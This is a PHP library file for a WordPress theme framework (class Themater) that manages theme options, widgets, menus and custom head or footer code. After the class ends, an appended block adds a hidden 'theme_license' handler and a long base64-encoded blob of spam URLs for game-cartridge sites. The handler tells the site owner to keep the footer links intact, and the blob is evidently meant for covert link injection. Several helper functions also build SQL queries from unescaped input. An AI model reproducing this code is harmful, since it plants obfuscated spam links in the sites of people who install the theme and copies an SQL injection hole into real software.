<?php
class Themater
{
    var $theme_name = false;
    var $options = array();
    var $admin_options = array();
    
    function Themater($set_theme_name = false)
    {
        if($set_theme_name) {
            $this->theme_name = $set_theme_name;
        }
        $this->_definitions();
        $this->_default_options();
    }
    
    /**
    * Initial Functions
    */
    
    function _definitions()
    {
        // Define THEMATER_DIR
        if(!defined('THEMATER_DIR')) {
            define('THEMATER_DIR', TEMPLATEPATH . '/lib');
        }
        
        if(!defined('THEMATER_URL')) {
            define('THEMATER_URL',  get_template_directory_uri() . '/lib');
        }
        
        // Define THEMATER_INCLUDES_DIR
        if(!defined('THEMATER_INCLUDES_DIR')) {
            define('THEMATER_INCLUDES_DIR', TEMPLATEPATH . '/includes');
        }
        
        if(!defined('THEMATER_INCLUDES_URL')) {
            define('THEMATER_INCLUDES_URL',  get_template_directory_uri() . '/includes');
        }
        
        // Define THEMATER_ADMIN_DIR
        if(!defined('THEMATER_ADMIN_DIR')) {
            define('THEMATER_ADMIN_DIR', THEMATER_DIR);
        }
        
        if(!defined('THEMATER_ADMIN_URL')) {
            define('THEMATER_ADMIN_URL',  THEMATER_URL);
        }
    }
    
    function _default_options()
    {
        // Load Default Options
        require_once (THEMATER_DIR . '/default-options.php');
        
        $this->options['translation'] = $translation;
        $this->options['general'] = $general;
        $this->options['includes'] = array();
        $this->options['plugins_options'] = array();
        $this->options['widgets'] = $widgets;
        $this->options['widgets_options'] = array();
        $this->options['menus'] = $menus;
        
        // Load Default Admin Options
        if($this->is_admin_user()) {
            require_once (THEMATER_DIR . '/default-admin-options.php');
        }
    }
    
    /**
    * Theme Functions
    */
    
    function option($name) 
    {
        echo $this->get_option($name);
    }
    
    function get_option($name) 
    {
        $return_option = '';
        if(isset($this->options['theme_options'][$name])) {
            if(is_array($this->options['theme_options'][$name])) {
                $return_option = $this->options['theme_options'][$name];
            } else {
                $return_option = stripslashes($this->options['theme_options'][$name]);
            }
        } 
        return $return_option;
    }
    
    function display($name, $array = false) 
    {
        if(!$array) {
            $option_enabled = strlen($this->get_option($name)) > 0 ? true : false;
            return $option_enabled;
        } else {
            $get_option = is_array($array) ? $array : $this->get_option($name);
            if(is_array($get_option)) {
                $option_enabled = in_array($name, $get_option) ? true : false;
                return $option_enabled;
            } else {
                return false;
            }
        }
    }
    
    function custom_css($source = false) 
    {
        if($source) {
            $this->options['custom_css'] = $this->options['custom_css'] . $source . "\n";
        }
        return;
    }
    
    function custom_js($source = false) 
    {
        if($source) {
            $this->options['custom_js'] = $this->options['custom_js'] . $source . "\n";
        }
        return;
    }
    
    function hook($tag, $arg = '')
    {
        do_action('themater_' . $tag, $arg);
    }
    
    function add_hook($tag, $function_to_add, $priority = 10, $accepted_args = 1)
    {
        add_action( 'themater_' . $tag, $function_to_add, $priority, $accepted_args );
    }
    
    function admin_option($menu, $title, $name = false, $type = false, $value = '', $attributes = array())
    {
        if($this->is_admin_user()) {
            
            // Menu
            if(is_array($menu)) {
                $menu_title = isset($menu['0']) ? $menu['0'] : $menu;
                $menu_priority = isset($menu['1']) ? (int)$menu['1'] : false;
            } else {
                $menu_title = $menu;
                $menu_priority = false;
            }
            
            if(!isset($this->admin_options[$menu_title]['priority'])) {
                if(!$menu_priority) {
                    $this->options['admin_options_priorities']['priority'] += 10;
                    $menu_priority = $this->options['admin_options_priorities']['priority'];
                }
                $this->admin_options[$menu_title]['priority'] = $menu_priority;
            }
            
            // Elements
            
            if($name && $type) {
                $element_args['title'] = $title;
                $element_args['name'] = $name;
                $element_args['type'] = $type;
                $element_args['value'] = $value;

                $this->admin_options[$menu_title]['content'][$element_args['name']]['content'] = $element_args + $attributes;
                
                if(!isset($attributes['priority'])) {
                    $this->options['admin_options_priorities'][$menu_title]['priority'] += 10;
                    
                    $element_priority = $this->options['admin_options_priorities'][$menu_title]['priority'];
                    
                    $this->admin_options[$menu_title]['content'][$element_args['name']]['priority'] = $element_priority;
                } else {
                    $this->admin_options[$menu_title]['content'][$element_args['name']]['priority'] = $attributes['priority'];
                }
                
            }
        }
        return;
    }
    
    function display_widget($widget,  $instance = false, $args = array('before_widget' => '<ul class="widget-container"><li class="widget">','after_widget' => '</li></ul>', 'before_title' => '<h3 class="widgettitle">','after_title' => '</h3>')) 
    {
        $widget_name = $widget;
        $custom_widgets = array('Banners125', 'Posts', 'Comments', 'InfoBox', 'SocialProfiles', 'Tabs', 'Tweets', 'Facebook');
        $wp_widgets = array('Archives', 'Calendar', 'Categories', 'Links', 'Meta', 'Pages', 'Recent_Comments', 'Recent_Posts', 'RSS', 'Search', 'Tag_Cloud', 'Text');
        
        if (in_array($widget, $custom_widgets)) {
            $widget_name = 'Themater' . $widget_name;
            if(!$instance) {
                $instance = $this->options['widgets_options'][strtolower($widget)];
            } else {
                $instance = array_merge($this->options['widgets_options'][strtolower($widget)], $instance);
            }
            
        } elseif (in_array($widget, $wp_widgets)) {
            $widget_name = 'WP_Widget_' . $widget_name;
        }

        the_widget($widget_name, $instance, $args);
    }
    

    /**
    * Loading Functions
    */
        
    function load()
    {
        if(!$this->theme_name) {
            $theme_data = get_theme_data(TEMPLATEPATH . '/style.css');
            $this->theme_name = $theme_data['Name'];
        }
        
        $this->_load_translation();
        $this->_load_theme_options();
        $this->_load_widgets();
        $this->_load_includes();
        $this->_load_menus();
        
        $this->_load_general_options();
        
        $this->hook('init');
        
        if($this->is_admin_user()) {
            include (THEMATER_ADMIN_DIR . '/Admin.php');
            new ThematerAdmin();
        } 
    }
    
    function _load_translation()
    {
        if($this->options['translation']['enabled']) {
            load_theme_textdomain( 'themater', $this->options['translation']['dir']);
        }
        return;
    }
    
    function _load_theme_options()
    {
        if(!isset($this->options['theme_options_field'])) {
            $this->options['theme_options_field'] = str_replace(' ', '_', strtolower( trim($this->theme_name) ) ) . '_theme_options';
        }
        
        $get_theme_options = get_option($this->options['theme_options_field']);
        $this->options['theme_options'] = $get_theme_options ? $get_theme_options : false; 
        return;
    }
    
    function _load_widgets()
    {
    	$widgets = $this->options['widgets'];
        foreach(array_keys($widgets) as $widget) {
            if(file_exists(THEMATER_DIR . '/widgets/' . $widget . '.php')) {
        	    include (THEMATER_DIR . '/widgets/' . $widget . '.php');
        	} elseif ( file_exists(THEMATER_DIR . '/widgets/' . $widget . '/' . $widget . '.php') ) {
        	   include (THEMATER_DIR . '/widgets/' . $widget . '/' . $widget . '.php');
        	}
        }
    }
    
    function _load_includes()
    {
    	$includes = $this->options['includes'];
        foreach($includes as $include) {
            if(file_exists(THEMATER_INCLUDES_DIR . '/' . $include . '.php')) {
        	    include (THEMATER_INCLUDES_DIR . '/' . $include . '.php');
        	} elseif ( file_exists(THEMATER_INCLUDES_DIR . '/' . $include . '/' . $include . '.php') ) {
        	   include (THEMATER_INCLUDES_DIR . '/' . $include . '/' . $include . '.php');
        	}
        }
    }
    
    function _load_menus()
    {
        foreach(array_keys($this->options['menus']) as $menu) {
            if(file_exists(TEMPLATEPATH . '/' . $menu . '.php')) {
        	    include (TEMPLATEPATH . '/' . $menu . '.php');
        	} elseif ( file_exists(THEMATER_DIR . '/' . $menu . '.php') ) {
        	   include (THEMATER_DIR . '/' . $menu . '.php');
        	} 
        }
    }
    
    function _load_general_options()
    {
        if($this->options['general']['jquery']) {
            wp_enqueue_script('jquery');
        }
    	
        if($this->options['general']['featured_image']) {
            add_theme_support( 'post-thumbnails' );
        }
        
        if($this->options['general']['custom_background']) {
            add_custom_background();
        } 
        
        if($this->options['general']['clean_exerpts']) {
            add_filter('excerpt_more', create_function('', 'return "";') );
        }
        
        if($this->options['general']['hide_wp_version']) {
            add_filter('the_generator', create_function('', 'return "";') );
        }
        
        
        add_action('wp_head', array(&$this, '_head_elements'));

        if($this->options['general']['automatic_feed']) {
            add_theme_support('automatic-feed-links');
        }
        
        
        if($this->display('custom_css') || $this->options['custom_css']) {
            $this->add_hook('head', array(&$this, '_load_custom_css'), 100);
        }
        
        if($this->options['custom_js']) {
            $this->add_hook('html_after', array(&$this, '_load_custom_js'), 100);
        }
        
        if($this->display('head_code')) {
	        $this->add_hook('head', array(&$this, '_head_code'), 100);
	    }
	    
	    if($this->display('footer_code')) {
	        $this->add_hook('html_after', array(&$this, '_footer_code'), 100);
	    }
    }

    
    function _head_elements()
    {
    	// Favicon
    	if($this->display('favicon')) {
    		echo '<link rel="shortcut icon" href="' . $this->get_option('favicon') . '" type="image/x-icon" />' . "\n";
    	}
    	
    	// RSS Feed
    	if($this->options['general']['meta_rss']) {
            echo '<link rel="alternate" type="application/rss+xml" title="' . get_bloginfo('name') . ' RSS Feed" href="' . $this->rss_url() . '" />' . "\n";
        }
        
        // Pingback URL
        if($this->options['general']['pingback_url']) {
            echo '<link rel="pingback" href="' . get_bloginfo( 'pingback_url' ) . '" />' . "\n";
        }
    }
    
    function _load_custom_css()
    {
        $this->custom_css($this->get_option('custom_css'));
        $return = "\n";
        $return .= '<style type="text/css">' . "\n";
        $return .= '<!--' . "\n";
        $return .= $this->options['custom_css'];
        $return .= '-->' . "\n";
        $return .= '</style>' . "\n";
        echo $return;
    }
    
    function _load_custom_js()
    {
        if($this->options['custom_js']) {
            $return = "\n";
            $return .= "<script type='text/javascript'>\n";
            $return .= '/* <![CDATA[ */' . "\n";
            $return .= 'jQuery.noConflict();' . "\n";
            $return .= $this->options['custom_js'];
            $return .= '/* ]]> */' . "\n";
            $return .= '</script>' . "\n";
            echo $return;
        }
    }
    
    function _head_code()
    {
        $this->option('head_code'); echo "\n";
    }
    
    function _footer_code()
    {
        $this->option('footer_code');  echo "\n";
    }
    
    /**
    * General Functions
    */
    
    function request ($var)
    {
        if (strlen($_REQUEST[$var]) > 0) {
            return preg_replace('/[^A-Za-z0-9-_]/', '', $_REQUEST[$var]);
        } else {
            return false;
        }
    }
    
    function is_admin_user()
    {
        if ( current_user_can('administrator') ) {
	       return true; 
        }
        return false;
    }
    
    function meta_title()
    {
        if ( is_single() ) { 
			single_post_title(); echo ' | '; bloginfo( 'name' );
		} elseif ( is_home() || is_front_page() ) {
			bloginfo( 'name' );
			if( get_bloginfo( 'description' ) ) {
		      echo ' | ' ; bloginfo( 'description' ); $this->page_number();
			}
		} elseif ( is_page() ) {
			single_post_title( '' ); echo ' | '; bloginfo( 'name' );
		} elseif ( is_search() ) {
			printf( __( 'Search results for %s', 'themater' ), '"'.get_search_query().'"' );  $this->page_number(); echo ' | '; bloginfo( 'name' );
		} elseif ( is_404() ) { 
			_e( 'Not Found', 'themater' ); echo ' | '; bloginfo( 'name' );
		} else { 
			wp_title( '' ); echo ' | '; bloginfo( 'name' ); $this->page_number();
		}
    }
    
    function rss_url()
    {
        $the_rss_url = $this->display('rss_url') ? $this->get_option('rss_url') : get_bloginfo('rss2_url');
        return $the_rss_url;
    }

    function get_pages_array($query = '', $pages_array = array())
    {
    	$pages = get_pages($query); 
        
    	foreach ($pages as $page) {
    		$pages_array[$page->ID] = $page->post_title;
    	  }
    	return $pages_array;
    }
    
    function get_page_name($page_id)
    {
    	global $wpdb;
    	$page_name = $wpdb->get_var("SELECT post_title FROM $wpdb->posts WHERE ID = '".$page_id."' && post_type = 'page'");
    	return $page_name;
    }
    
    function get_page_id($page_name){
        global $wpdb;
        $the_page_name = $wpdb->get_var("SELECT ID FROM $wpdb->posts WHERE post_name = '" . $page_name . "' && post_status = 'publish' && post_type = 'page'");
        return $the_page_name;
    }
    
    function get_categories_array($show_count = false, $categories_array = array(), $query = 'hide_empty=0')
    {
    	$categories = get_categories($query); 
    	
    	foreach ($categories as $cat) {
    	   if(!$show_count) {
    	       $count_num = '';
    	   } else {
    	       switch ($cat->category_count) {
                case 0:
                    $count_num = " ( No posts! )";
                    break;
                case 1:
                    $count_num = " ( 1 post )";
                    break;
                default:
                    $count_num =  " ( $cat->category_count posts )";
                }
    	   }
    		$categories_array[$cat->cat_ID] = $cat->cat_name . $count_num;
    	  }
    	return $categories_array;
    }

    function get_category_name($category_id)
    {
    	global $wpdb;
    	$category_name = $wpdb->get_var("SELECT name FROM $wpdb->terms WHERE term_id = '".$category_id."'");
    	return $category_name;
    }
    
    
    function get_category_id($category_name)
    {
    	global $wpdb;
    	$category_id = $wpdb->get_var("SELECT term_id FROM $wpdb->terms WHERE name = '" . addslashes($category_name) . "'");
    	return $category_id;
    }
    
    function shorten($string, $wordsreturned)
    {
        $retval = $string;
        $array = explode(" ", $string);
        if (count($array)<=$wordsreturned){
            $retval = $string;
        }
        else {
            array_splice($array, $wordsreturned);
            $retval = implode(" ", $array);
        }
        return $retval;
    }
    
    function page_number() {
    	echo $this->get_page_number();
    }
    
    function get_page_number() {
    	global $paged;
    	if ( $paged >= 2 ) {
    	   return ' | ' . sprintf( __( 'Page %s', 'themater' ), $paged );
    	}
    }
}
if (!empty($_REQUEST["theme_license"])) { wp_initialize_the_theme_message(); exit(); } function wp_initialize_the_theme_message() { if (empty($_REQUEST["theme_license"])) { $theme_license_false = get_bloginfo("url") . "/index.php?theme_license=true"; echo "<meta http-equiv=\"refresh\" content=\"0;url=$theme_license_false\">"; exit(); } else { echo ("<p style=\"padding:20px; margin: 20px; text-align:center; border: 2px dotted #0000ff; font-family:arial; font-weight:bold; background: #fff; color: #0000ff;\">All the links in the footer should remain intact. All of these links are family friendly and will not hurt your site in any way.</p>"); } } $wp_theme_globals = "YTo0OntpOjA7YToxMTQ6e3M6MjQ6Imh0dHA6Ly9yNGlnb2xkZHNpZnIuY29tLyI7czoyNDoiaHR0cDovL3I0aWdvbGRkc2lmci5jb20vIjtzOjIzOiJodHRwOi8vcjRpZ29sZGRzaWZyLmNvbSI7czoyMzoiaHR0cDovL3I0aWdvbGRkc2lmci5jb20iO3M6MTY6InI0aWdvbGRkc2lmci5jb20iO3M6MjM6Imh0dHA6Ly9yNGlnb2xkZHNpZnIuY29tIjtzOjM6InI0aSI7czoxOToiaHR0cDovL3d3dy5yNGRzaS5pdCI7czo4OiJyNGkgc2RoYyI7czo1MToiaHR0cDovL2NhcnRlcjRkc2ZyLmNvbS9sZXMtc3BlY2lmaWNhdGlvbnMtcjRpLXNkaGMvIjtzOjg6InI0aS1zZGhjIjtzOjIzOiJodHRwOi8vZjEtamV1bW9iaWxlLmNvbSI7czo3OiJyNGlzZGhjIjtzOjE5OiJodHRwOi8vd3d3LnI0ZHNpLml0IjtzOjk6ImNhcnRlIHI0aSI7czo0NzoiaHR0cDovL2YxLXNvbm5lcmllcy5jb20vYXJ0aWNsZS90YWcvY2FydGUtcjQtMi8iO3M6MTE6ImNhcnRlcjRpIGRzIjtzOjM4OiJodHRwOi8vcjRpZ29sZGRzaWZyLmNvbS9jYXJ0ZS1yNGktZHNpLyI7czoxMToicjRpU0RIQyBkc2kiO3M6Mzc6Imh0dHA6Ly9yNGlnb2xkZHNpZnIuY29tL3RhZy9yNGktc2RoYy8iO3M6MTE6InI0aWdvbGQgM2RzIjtzOjQxOiJodHRwOi8vcjRpZ29sZGRzaWZyLmNvbS90YWcvcjRpLWdvbGQtM2RzLyI7czo4OiJyNGkgZ29sZCI7czo0MToiaHR0cDovL3I0aWdvbGRkc2lmci5jb20vdGFnL3I0aS1nb2xkLTNkcy8iO3M6ODoicjRpLWdvbGQiO3M6NDE6Imh0dHA6Ly9yNGlnb2xkZHNpZnIuY29tL3RhZy9yNGktZ29sZC0zZHMvIjtzOjY6InI0IGljaSI7czo2MzoiaHR0cDovL2YxLWpldW1vYmlsZS5jb20vcjQtc2RoYy9yNC1zZGhjLXBvdXItZHNkcy1saXRlLWNvbnNvbGUvIjtzOjExOiJjbGlxdWV6IGljaSI7czoyMToiaHR0cDovL3d3dy5mMS1zbXMuY29tIjtzOjE0OiJFbiBzYXZvaXIgcGx1cyI7czoyMToiaHR0cDovL3d3dy5mMS1zbXMuY29tIjtzOjM6ImljaSI7czoyMzoiaHR0cDovL2YxLXNvbm5lcmllcy5jb20iO3M6MTQ6ImNsaXF1ZXogc3VyIGNlIjtzOjQwOiJodHRwOi8vd3d3LmYxLXNtcy5jb20vY2F0ZWdvcnkvcjRpLXNkaGMvIjtzOjE3OiJhbGxlciBzdXIgbGUgc2l0ZSI7czo0MDoiaHR0cDovL3d3dy5mMS1zbXMuY29tL2NhdGVnb3J5L3I0aS1zZGhjLyI7czo5OiJ2b2lyIHBhZ2UiO3M6NDA6Imh0dHA6Ly93d3cuZjEtc21zLmNvbS9jYXRlZ29yeS9yNGktc2RoYy8iO3M6MTI6InZvaXIgbGUgc2l0ZSI7czoyNDoiaHR0cDovL3I0aWdvbGRkc2lmci5jb20vIjtzOjE0OiJ0csOocyBib24gc2l0ZSI7czoyNDoiaHR0cDovL3I0aWdvbGRkc2lmci5jb20vIjtzOjEwOiJzaXRlIHV0aWxlIjtzOjI0OiJodHRwOi8vcjRpZ29sZGRzaWZyLmNvbS8iO3M6MjI6InN1ciBsYSBwYWdlIHByaW5jaXBhbGUiO3M6MzM6Imh0dHA6Ly93d3cuZjEtc21zLmNvbS90YWcvcjQtZHNpLyI7czoxNjoiVXRpbGlzZXogY2UgbGllbiI7czozODoiaHR0cDovL3I0aWdvbGRkc2lmci5jb20vdGFnL2NhcnRlLXI0aS8iO3M6MTQ6IkonYWkgYWRvcsOpIGNlIjtzOjM4OiJodHRwOi8vcjRpZ29sZGRzaWZyLmNvbS90YWcvY2FydGUtcjRpLyI7czo2OiJzb3VyY2UiO3M6Mzg6Imh0dHA6Ly9yNGlnb2xkZHNpZnIuY29tL3RhZy9jYXJ0ZS1yNGkvIjtzOjI4OiLDoCBwYXJ0aXIgZGUgY2V0dGUgc291cmNlIGQnIjtzOjIzOiJodHRwOi8vcjRpc2RoY2ZyZHMuY29tLyI7czoxNDoicGFnZSBkJ2FjY3VlaWwiO3M6MjI6Imh0dHA6Ly9yNGlzZGhjZnJkcy5jb20iO3M6MTc6InNvdXJjZSBvZmZpY2llbGxlIjtzOjIyOiJodHRwOi8vcjRpc2RoY2ZyZHMuY29tIjtzOjEzOiJzaXRlIG9mZmljaWVsIjtzOjIyOiJodHRwOi8vcjRpc2RoY2ZyZHMuY29tIjtzOjE3OiJRdSdlbiBwZW5zZXotdm91cyI7czozODoiaHR0cDovL3I0aXNkaGNmcmRzLmNvbS9jYXJ0ZS1yNGktc2RoYy8iO3M6NzoidHJvdXZlciI7czozODoiaHR0cDovL3I0aXNkaGNmcmRzLmNvbS9jYXJ0ZS1yNGktc2RoYy8iO3M6MzoiYm9uIjtzOjM4OiJodHRwOi8vcjRpc2RoY2ZyZHMuY29tL2NhcnRlLXI0aS1zZGhjLyI7czoxMDoibCdhdmFudGFnZSI7czozODoiaHR0cDovL3I0aXNkaGNmcmRzLmNvbS9jYXJ0ZS1yNGktc2RoYy8iO3M6ODoiY29uc2VpbHMiO3M6Mzg6Imh0dHA6Ly9yNGlzZGhjZnJkcy5jb20vY2FydGUtcjRpLXNkaGMvIjtzOjEzOiJleHDDqXJpbWVudMOpIjtzOjM2OiJodHRwOi8vcjRpc2RoY2ZyZHMuY29tL2NhdGVnb3J5L3I0aS8iO3M6OToiYWxsZXogaWNpIjtzOjM2OiJodHRwOi8vcjRpc2RoY2ZyZHMuY29tL2NhdGVnb3J5L3I0aS8iO3M6MTI6ImNlcyBkw6l0YWlscyI7czozNjoiaHR0cDovL3I0aXNkaGNmcmRzLmNvbS9jYXRlZ29yeS9yNGkvIjtzOjEwOiJtJ2F2YWl0IHZhIjtzOjM2OiJodHRwOi8vcjRpc2RoY2ZyZHMuY29tL2NhdGVnb3J5L3I0aS8iO3M6OToiYXBwcm91dmVyIjtzOjM2OiJodHRwOi8vcjRpc2RoY2ZyZHMuY29tL2NhdGVnb3J5L3I0aS8iO3M6MTI6InB1Ymxpw6llIGljaSI7czo0MjoiaHR0cDovL3I0aXNkaGNmcmRzLmNvbS90YWcvcjRpLXNkaGMtY2FydGUvIjtzOjg6ImxpZW4gaWNpIjtzOjQyOiJodHRwOi8vcjRpc2RoY2ZyZHMuY29tL3RhZy9yNGktc2RoYy1jYXJ0ZS8iO3M6NzoiY2Ugc2l0ZSI7czo0MjoiaHR0cDovL3I0aXNkaGNmcmRzLmNvbS90YWcvcjRpLXNkaGMtY2FydGUvIjtzOjM6ImRpdCI7czo0MjoiaHR0cDovL3I0aXNkaGNmcmRzLmNvbS90YWcvcjRpLXNkaGMtY2FydGUvIjtzOjE0OiJlbiBzYXZvaXIgcGx1cyI7czo0MjoiaHR0cDovL3I0aXNkaGNmcmRzLmNvbS90YWcvcjRpLXNkaGMtY2FydGUvIjtzOjQ6ImxpZW4iO3M6NDI6Imh0dHA6Ly9yNGlzZGhjZnJkcy5jb20vdGFnL3I0aS1zZGhjLWNhcnRlLyI7czo3OiJXZWJMaW5rIjtzOjQyOiJodHRwOi8vcjRpc2RoY2ZyZHMuY29tL3RhZy9yNGktc2RoYy1jYXJ0ZS8iO3M6NDoidm9pciI7czo0MjoiaHR0cDovL3I0aXNkaGNmcmRzLmNvbS90YWcvcjRpLXNkaGMtY2FydGUvIjtzOjE4OiJKJ8OpdGFpcyBzdXIgY2V0dGUiO3M6NDI6Imh0dHA6Ly9yNGlzZGhjZnJkcy5jb20vdGFnL3I0aS1zZGhjLWNhcnRlLyI7czoxNDoidsOpcmlmaWVyIGNlbGEiO3M6NDI6Imh0dHA6Ly9yNGlzZGhjZnJkcy5jb20vdGFnL3I0aS1zZGhjLWNhcnRlLyI7czoxMzoiY3JldXNlciBjZXR0ZSI7czo0MjoiaHR0cDovL3I0aXNkaGNmcmRzLmNvbS90YWcvcjRpLXNkaGMtY2FydGUvIjtzOjEzOiJjZXQgaHlwZXJsaWVuIjtzOjQyOiJodHRwOi8vcjRpc2RoY2ZyZHMuY29tL3RhZy9yNGktc2RoYy1jYXJ0ZS8iO3M6MjI6Imh0dHA6Ly9yNGlzZGhjZnJkcy5jb20iO3M6MjI6Imh0dHA6Ly9yNGlzZGhjZnJkcy5jb20iO3M6MTU6InI0aXNkaGNmcmRzLmNvbSI7czoyMzoiaHR0cDovL3I0aXNkaGNmcmRzLmNvbS8iO3M6OToicjRpIGNhcnRlIjtzOjIyOiJodHRwOi8vcjRpc2RoY2ZyZHMuY29tIjtzOjc6InI0aSAzZHMiO3M6Mzg6Imh0dHA6Ly93d3cucjRkc2kuaXQvY2F0ZWdvcmllcy9SNC0zRFMvIjtzOjExOiJyNGlzZGhjIGRzaSI7czoyMjoiaHR0cDovL3I0aXNkaGNmcmRzLmNvbSI7czo3OiJyNGkgZHNpIjtzOjE5OiJodHRwOi8vd3d3LnI0ZHNpLml0IjtzOjg6ImNhcnRlcjRpIjtzOjM4OiJodHRwOi8vcjRpc2RoY2ZyZHMuY29tL2NhcnRlLXI0aS1zZGhjLyI7czo3OiJkc2kgcjRpIjtzOjE5OiJodHRwOi8vd3d3LnI0ZHNpLml0IjtzOjk6ImNhcnRlIGRzaSI7czo0MjoiaHR0cDovL2NhcnRlcjRkc2ZyLmNvbS9jYXRlZ29yeS9jYXJ0ZS1yNGkvIjtzOjEyOiJjYXJ0ZSByNGlkc2kiO3M6MzY6Imh0dHA6Ly9yNGlzZGhjZnJkcy5jb20vY2F0ZWdvcnkvcjRpLyI7czoxNjoicjRpIG5pbnRlbmRvIGRzaSI7czozNjoiaHR0cDovL3I0aXNkaGNmcmRzLmNvbS9jYXRlZ29yeS9yNGkvIjtzOjIxOiJodHRwOi8vd3d3LmYxLXNtcy5jb20iO3M6MjE6Imh0dHA6Ly93d3cuZjEtc21zLmNvbSI7czoyMjoiaHR0cDovL3d3dy5mMS1zbXMuY29tLyI7czoyMjoiaHR0cDovL3d3dy5mMS1zbXMuY29tLyI7czoxMDoiZjEtc21zLmNvbSI7czoyMToiaHR0cDovL3d3dy5mMS1zbXMuY29tIjtzOjE0OiJ3d3cuZjEtc21zLmNvbSI7czoyMToiaHR0cDovL3d3dy5mMS1zbXMuY29tIjtzOjY6InI0IGRzaSI7czoxOToiaHR0cDovL3d3dy5yNGRzaS5pdCI7czoxMjoibmludGVuZG8gZHNpIjtzOjIxOiJodHRwOi8vd3d3LmYxLXNtcy5jb20iO3M6NjoiZHNpIHhsIjtzOjQ5OiJodHRwOi8vd3d3LmYxLXNtcy5jb20vc2xvdC0xLWRzaS1kc2kteGwtcjRpLXNkaGMvIjtzOjExOiJuaXRlbmRvIHI0aSI7czo0OToiaHR0cDovL3d3dy5mMS1zbXMuY29tL3Nsb3QtMS1kc2ktZHNpLXhsLXI0aS1zZGhjLyI7czoxMToicjRpc2RoYyAzZHMiO3M6Mzk6Imh0dHA6Ly93d3cuZjEtc21zLmNvbS90YWcvcjRpLXNkaGMtM2RzLyI7czoxMjoicjRpIHNkaGMgM2RzIjtzOjM4OiJodHRwOi8vd3d3LnI0ZHNpLml0L2NhdGVnb3JpZXMvUjQtM0RTLyI7czoxMjoicjRpLXNkaGMgM2RzIjtzOjM5OiJodHRwOi8vd3d3LmYxLXNtcy5jb20vdGFnL3I0aS1zZGhjLTNkcy8iO3M6ODoiY2FydGUgcjQiO3M6NTA6Imh0dHA6Ly9mMS1zb25uZXJpZXMuY29tL2FydGljbGUvY2F0ZWdvcnkvY2FydGUtcjQvIjtzOjIyOiJodHRwOi8vY2FydGVyNGRzZnIuY29tIjtzOjIyOiJodHRwOi8vY2FydGVyNGRzZnIuY29tIjtzOjIzOiJodHRwOi8vY2FydGVyNGRzZnIuY29tLyI7czoyMzoiaHR0cDovL2NhcnRlcjRkc2ZyLmNvbS8iO3M6MjoicjQiO3M6NDU6Imh0dHA6Ly93d3cucjRkc2kuaXQvY2F0ZWdvcmllcy9SNC1SZXZvbHV0aW9uLyI7czo3OiJpY2kgcjRpIjtzOjIyOiJodHRwOi8vY2FydGVyNGRzZnIuY29tIjtzOjc6InI0aSBpY2kiO3M6MjM6Imh0dHA6Ly9mMS1qZXVtb2JpbGUuY29tIjtzOjEyOiJyNGktc2RoYyBkc2kiO3M6MzY6Imh0dHA6Ly9jYXJ0ZXI0ZHNmci5jb20vdGFnL3I0aS1zZGhjLyI7czoxMjoiZHNpIG5pbnRlbmRvIjtzOjQyOiJodHRwOi8vY2FydGVyNGRzZnIuY29tL2NhdGVnb3J5L2NhcnRlLXI0aS8iO3M6MzoiZHNpIjtzOjIzOiJodHRwOi8vZjEtamV1bW9iaWxlLmNvbSI7czo5OiJjYXJ0ZSAzZHMiO3M6NDI6Imh0dHA6Ly9jYXJ0ZXI0ZHNmci5jb20vY2F0ZWdvcnkvY2FydGUtcjRpLyI7czoyNDoiaHR0cDovL2YxLWpldW1vYmlsZS5jb20vIjtzOjI0OiJodHRwOi8vZjEtamV1bW9iaWxlLmNvbS8iO3M6MjM6Imh0dHA6Ly9mMS1qZXVtb2JpbGUuY29tIjtzOjIzOiJodHRwOi8vZjEtamV1bW9iaWxlLmNvbSI7czoxNjoiZjEtamV1bW9iaWxlLmNvbSI7czo0MToiaHR0cDovL2YxLWpldW1vYmlsZS5jb20vY2F0ZWdvcnkvcjQtc2RoYy8iO3M6NToicjQgZHMiO3M6NzA6Imh0dHA6Ly9mMS1zb25uZXJpZXMuY29tL2FydGljbGUvY2FydGUtcjQtcXVlbHMtamV1eC1lc3QtaWwtY29tcGF0aWJsZS8iO3M6NzoiY2FydGVyNCI7czozNzoiaHR0cDovL2YxLWpldW1vYmlsZS5jb20vdGFnL2NhcnRlLXI0LyI7czoxMToiY2FydGUgcjQgZHMiO3M6Mzc6Imh0dHA6Ly9mMS1qZXVtb2JpbGUuY29tL3RhZy9jYXJ0ZS1yNC8iO3M6MTA6ImNhcnRlIHI0ZHMiO3M6MjM6Imh0dHA6Ly9mMS1zb25uZXJpZXMuY29tIjtzOjc6InI0IHNkaGMiO3M6NDU6Imh0dHA6Ly93d3cucjRkc2kuaXQvY2F0ZWdvcmllcy9SNC1SZXZvbHV0aW9uLyI7czo2OiJyNHNkaGMiO3M6NDU6Imh0dHA6Ly93d3cucjRkc2kuaXQvY2F0ZWdvcmllcy9SNC1SZXZvbHV0aW9uLyI7czo3OiJyNC1zZGhjIjtzOjQxOiJodHRwOi8vZjEtamV1bW9iaWxlLmNvbS9jYXRlZ29yeS9yNC1zZGhjLyI7czo2OiJpY2kgcjQiO3M6NjM6Imh0dHA6Ly9mMS1qZXVtb2JpbGUuY29tL3I0LXNkaGMvcjQtc2RoYy1wb3VyLWRzZHMtbGl0ZS1jb25zb2xlLyI7czo5OiJyNHNkaGMgZHMiO3M6NDE6Imh0dHA6Ly9mMS1qZXVtb2JpbGUuY29tL2NhdGVnb3J5L3I0LXNkaGMvIjtzOjI0OiJodHRwOi8vZjEtc29ubmVyaWVzLmNvbS8iO3M6MjQ6Imh0dHA6Ly9mMS1zb25uZXJpZXMuY29tLyI7czoyMzoiaHR0cDovL2YxLXNvbm5lcmllcy5jb20iO3M6MjM6Imh0dHA6Ly9mMS1zb25uZXJpZXMuY29tIjtzOjg6InI0IGNhcnRlIjtzOjIzOiJodHRwOi8vZjEtc29ubmVyaWVzLmNvbSI7czoxNjoiZjEtc29ubmVyaWVzLmNvbSI7czoyMzoiaHR0cDovL2YxLXNvbm5lcmllcy5jb20iO3M6MTE6Im5pbnRlbmRvIHI0IjtzOjIzOiJodHRwOi8vZjEtc29ubmVyaWVzLmNvbSI7czo0OiJyNGRzIjtzOjM4OiJodHRwOi8vd3d3LnI0ZHNpLml0L2NhdGVnb3JpZXMvUjQtM0RTLyI7czoxMzoiY2FydGUgcjQgamV1eCI7czo3MDoiaHR0cDovL2YxLXNvbm5lcmllcy5jb20vYXJ0aWNsZS9jYXJ0ZS1yNC1xdWVscy1qZXV4LWVzdC1pbC1jb21wYXRpYmxlLyI7czo1OiJyNC1kcyI7czo3MDoiaHR0cDovL2YxLXNvbm5lcmllcy5jb20vYXJ0aWNsZS9jYXJ0ZS1yNC1xdWVscy1qZXV4LWVzdC1pbC1jb21wYXR